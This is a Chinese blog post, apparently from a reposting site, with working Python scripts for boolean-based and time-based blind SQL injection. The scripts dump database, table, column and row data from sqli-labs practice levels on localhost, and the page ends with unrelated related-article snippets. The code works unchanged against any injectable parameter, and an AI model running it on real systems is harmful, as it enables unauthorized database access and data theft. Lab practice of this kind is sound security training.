时间盲注,boolen盲注,获取表、列、具体数据的函数

boolen盲注

import requests

def boolean_based_injection(url, payload_template):
    """
    布尔盲注的核心函数,通过二分法逐字符推断数据。
    """
    result = ''
    for i in range(1, 50):  # 假设目标字段长度不超过50
        low, high = 32, 128  # ASCII码范围
        while low < high:
            mid = (low + high) // 2
            response = requests.get(url, params={"id": payload_template.format(i=i, mid=mid)})
            if "You are in" in response.text:
                low = mid + 1
            else:
                high = mid
        if low == 32: break  # 没有有效字符时结束
        result += chr(low)
        print(f"Current result: {result}")
    return result

def get_database_name(url):
    """获取数据库名。"""
    return boolean_based_injection(url, "1' and ascii(substr(database(), {i}, 1)) > {mid}-- ")

def get_all_table_names(url, database_name):
    """获取所有表名。"""
    tables = []
    for index in range(20):  # 假设最多20个表
        table = boolean_based_injection(url, f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {index},1), {{i}}, 1)) > {{mid}}-- ")
        if not table: break
        tables.append(table)
        print(f"Found table: {table}")
    return tables

def get_all_column_names(url, database_name, table_name):
    """获取指定表的所有列名。"""
    columns = []
    for index in range(20):  # 假设最多20个列
        column = boolean_based_injection(url, f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit {index},1), {{i}}, 1)) > {{mid}}-- ")
        if not column: break
        columns.append(column)
        print(f"Found column: {column}")
    return columns

def get_all_data(url, database_name, table_name, column_name):
    """获取指定列的所有数据。"""
    data = []
    for index in range(50):  # 假设最多50条数据
        row = boolean_based_injection(url, f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index},1), {{i}}, 1)) > {{mid}}-- ")
        if not row: break
        data.append(row)
        print(f"Found data: {row}")
    return data

if __name__ == '__main__':
    url = 'http://127.0.0.1:81/sqli-labs-master//Less-8/index.php'  # Boolean 盲注的测试URL

    # 获取数据库名
    db_name = get_database_name(url)
    print(f"Database name: {db_name}")

    # 获取所有表名
    tables = get_all_table_names(url, db_name)
    print(f"All tables: {tables}")

    # 获取每个表的所有列名和数据
    for table in tables:
        print(f"\nTable: {table}")
        columns = get_all_column_names(url, db_name, table)
        print(f"Columns: {columns}")

        for column in columns:
            print(f"\nColumn: {column}")
            data = get_all_data(url, db_name, table, column)
            print(f"Data: {data}")

运行结果(部分):

时间盲注

import time
import requests


def blind_injection(url, payload_template, max_length=20):
    """
    基于时间盲注的核心函数,通过二分法逐字符推断数据。

    :param url: 目标URL
    :param payload_template: SQL注入的payload模板
    :param max_length: 目标字段的最大长度
    :return: 推断出的字符串结果
    """
    result = ''
    for i in range(1, max_length + 1):  # 逐字符推断
        low, high = 32, 128  # ASCII码范围
        while low < high:
            mid = (low + high) // 2
            payload = payload_template.format(i=i, mid=mid)
            start_time = time.time()
            requests.get(url, params={"id": payload})
            end_time = time.time()

            # 根据响应时间判断字符
            if end_time - start_time >= 3:
                low = mid + 1
            else:
                high = mid

        if low == 32:  # 如果low为32,说明没有有效字符,结束循环
            break

        result += chr(low)
        print(f"Current result: {result}")

    return result


def get_data(url, query_template, max_items=20, max_length=20):
    """
    通用函数,用于获取数据库名、表名、列名或数据。

    :param url: 目标URL
    :param query_template: SQL查询模板
    :param max_items: 最大项数
    :param max_length: 每项的最大长度
    :return: 结果列表
    """
    results = []
    for index in range(max_items):
        payload_template = f"1' and if(ascii(substr(({query_template.format(index=index)}), {{i}}, 1)) > {{mid}}, sleep(3), 0)-- "
        result = blind_injection(url, payload_template, max_length)

        if not result:
            break

        results.append(result)
        print(f"Found item: {result}")

    return results


if __name__ == '__main__':
    url = 'http://127.0.0.1:81/sqli-labs-master/Less-9/index.php'  # 目标URL

    # 获取数据库名
    database_name = get_data(url, "select database()", max_items=1)[0]
    print(f"Database name: {database_name}")

    # 获取所有表名
    table_names = get_data(url,
                           "select table_name from information_schema.tables where table_schema='{}' limit {{index}},1".format(
                               database_name))
    print(f"All table names: {table_names}")

    # 获取每个表的所有列名
    for table_name in table_names:
        print(f"\nTable: {table_name}")
        column_names = get_data(url,
                                "select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {{index}},1".format(
                                    database_name, table_name))
        print(f"Columns: {column_names}")

        # 获取每个列的所有数据
        for column_name in column_names:
            print(f"\nColumn: {column_name}")
            data = get_data(url,
                            "select {} from {}.{} limit {{index}},1".format(column_name, database_name, table_name),
                            max_items=50, max_length=50)
            print(f"Data: {data}")

运行结果(部分):

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/968943.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

c#展示网页并获取网页上触发按钮的值进行系统业务逻辑处理

日前项目上遇到需要调用一个第三方的监控接口&#xff0c;给对方参数后&#xff0c;会返回一个url地址&#xff0c;我方系统需要根据用户在网页上点击的不同按钮&#xff0c;要求如下&#xff1a;在打开违规提醒窗口时&#xff0c;需要注册Callback方法&#xff08;含一个字符串…

渗透测试--文件包含漏洞

文件包含漏洞 前言 《Web安全实战》系列集合了WEB类常见的各种漏洞&#xff0c;笔者根据自己在Web安全领域中学习和工作的经验&#xff0c;对漏洞原理和漏洞利用面进行了总结分析&#xff0c;致力于漏洞准确性、丰富性&#xff0c;希望对WEB安全工作者、WEB安全学习者能有所帮助…

深入浅出Java反射:掌握动态编程的艺术

小程一言反射何为反射反射核心类反射的基本使用获取Class对象创建对象调用方法访问字段 示例程序应用场景优缺点分析优点缺点 注意 再深入一些反射与泛型反射与注解反射与动态代理反射与类加载器 结语 小程一言 本专栏是对Java知识点的总结。在学习Java的过程中&#xff0c;学习…

QGIS如何查看海拔剖面图

一、基础概念与工具准备 地形剖面图定义 地形剖面图是沿地表某一直线方向的垂直断面图&#xff0c;用于展示地势起伏、坡度变化和海拔分布。其核心要素包括水平距离轴&#xff08;X轴&#xff09;和海拔高度轴&#xff08;Y轴&#xff09;&#xff0c;可通过等高线或数字高程模…

vnctf2025--学生姓名登记系统

首先进入靶场 先随便输入一个123试试 这个地方将123直接回显出来&#xff0c;很有可能是ssti模板注入&#xff0c;输入{{7*7}}看看是否回显 回显49&#xff0c;说明确实有这个漏洞 现在知道是ssti模板注入了&#xff0c;下一步应该是确定模板引擎是什么 这个时候需要看题目给…

清华大学新闻与传播学院沈阳团队出品的《DeepSeek:从入门到精通》104页PDF

前言 本机运行DeepSeek R1大模型文章如下&#xff1a; Windows电脑本地部署运行DeepSeek R1大模型&#xff08;基于Ollama和Chatbox&#xff09;【保姆级万字教程】在Windows计算机部署DeepSeek大模型&#xff0c;给在实验室无外网的同事们用&#xff08;基于Ollama和OpenWebUI…

Jenkins 通过 Execute Shell 执行 shell 脚本 七

Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…

开发完的小程序如何分包

好几次了&#xff0c;终于想起来写个笔记记一下 我最开始并不会给小程序分包&#xff0c;然后我就各种搜&#xff0c;发现讲的基本上都是开发之前的小程序分包&#xff0c;可是我都开发完要发布了&#xff0c;提示我说主包太大需要分包&#xff0c;所以我就不会了。。。 好了…

bitcoinjs学习1—P2PKH

1. 概述 在本学习笔记中&#xff0c;我们将深入探讨如何使用 bitcoinjs-lib 库构建和签名一个 P2PKH&#xff08;Pay-to-PubKey-Hash&#xff09; 比特币交易。P2PKH 是比特币网络中最常见和最基本的交易类型之一&#xff0c;理解其工作原理是掌握比特币交易构建的关键。 想要详…

有限状态系统的抽象定义及CEGAR分析解析理论篇

文章目录 一、有限状态系统的抽象定义及相关阐述1、有限状态系统定义2、 有限状态系统间的抽象关系&#xff08;Abstract&#xff09;2.1 基于函数的抽象定义2.2 基于等价关系的抽象定义 二、 基于上面的定义出发&#xff0c;提出的思考1. 为什么我们想要/需要进行抽象2. 抽象是…

【linux学习指南】线程同步与互斥

文章目录 &#x1f4dd;线程互斥&#x1f320; 库函数strncpy&#x1f309;进程线程间的互斥相关背景概念&#x1f309;互斥量mutex &#x1f320;线程同步&#x1f309;条件变量&#x1f309;同步概念与竞态条件&#x1f309; 条件变量函数 &#x1f6a9;总结 &#x1f4dd;线…

云上话ai

这两天参加了几场ai视频直播 今天想分享一下照片&#xff0c;记录一下&#xff5e;

OpenVINO 2025.0重磅升级:开启⽣成式AI全场景⾰命!

2025年2⽉6⽇&#xff0c;英特尔OpenVINO™ 2025.0版本震撼发布&#xff0c;本次升级堪称近三年最⼤规模技术⾰新&#xff01;从⽣成 式AI性能跃升到全栈硬件⽀持&#xff0c;从开发者⼯具链优化到边缘计算突破&#xff0c;六⼤核⼼升级重新定义AI部署效率。 一&#xff0c;&a…

语言大模型基础概念 一(先了解听说过的名词都是什么)

SFT&#xff08;监督微调&#xff09;和RLHF&#xff08;基于人类反馈的强化学习&#xff09;的区别 STF&#xff08;Supervised Fine-Tuning&#xff09;和RLHF&#xff08;Reinforcement Learning from Human Feedback&#xff09;是两种不同的模型训练方法&#xff0c;分别…

裙子贴图提示词【图生图】

正向&#xff1a; (a plaid short skirt with checkered texture:1.4),(no human figure),wallpaper,incredibly absurdres,huge filesize,highres,absurdres,artbook_game c,s,rt,octane,no light,best quality,illustration,looking at viewer,impasto,canvas,realistic,rea…

【竞技宝】LCK:KT0-3爆冷不敌NS淘汰出局

北京时间2月13日&#xff0c;英雄联盟LCK2025在昨天正式迎来第一阶段的季后赛&#xff0c;首战迎来KT对阵NS&#xff0c;以下是本场比赛的详细战报。 第一局&#xff1a; KT&#xff1a;安蓓萨、大树、沙皇、韦鲁斯、布隆 NS&#xff1a;杰斯、瑟庄妮、阿萝拉、卡莎、泰坦 首…

电脑端调用摄像头拍照:从基础到实现

文章目录 1. 了解navigator.mediaDevices.getUserMedia API2. 创建 HTML 结构3. 编写 JavaScript 代码3.1 打开摄像头3.2 拍照 4. 完整代码5. 测试6. 注意事项及部署 在现代 Web 开发中&#xff0c;调用摄像头进行拍照是一个常见的功能&#xff0c;尤其是在需要用户上传头像、进…

lvs的DR模式

基于Linux的负载均衡集群软件 LVS 全称为Linux Virtual Server,是一款开源的四层(传输层)负载均衡软件 Nginx 支持四层和七层(应用层)负载均衡 HAProxy 和Nginx一样,也可同时支持四层和七层(应用层)负载均衡 基于Linux的高可用集群软件 Keepalived Keepalived是Linux…

STM32 RTC 实时时钟说明

目录 背景 RTC(实时时钟)和后备寄存器 32.768HZ 如何产生1S定时 RTC配置程序 第一次上电RTC配置 第1步、启用备用寄存器外设时钟和PWR外设时钟 第2步、使能RTC和备份寄存器访问 第3步、备份寄存器初始化 第4步、开启LSE 第5步、等待LSE启动后稳定状态 第6步、配置LSE为…

2024年12月电子学会青少年机器人技术等级考试(三级)理论综合真题

202412 青少年等级考试机器人理论真题三级 一、单选题 第 1 题 Arduino UNO/Nano主控板&#xff0c;程序模块如下&#xff0c;该模块运行后&#xff0c;引脚5输出的等效电压为0V&#xff0c;变量i对应的值是&#xff1f;&#xff08; &#xff09; A&#xff1a;0 B&#xff1…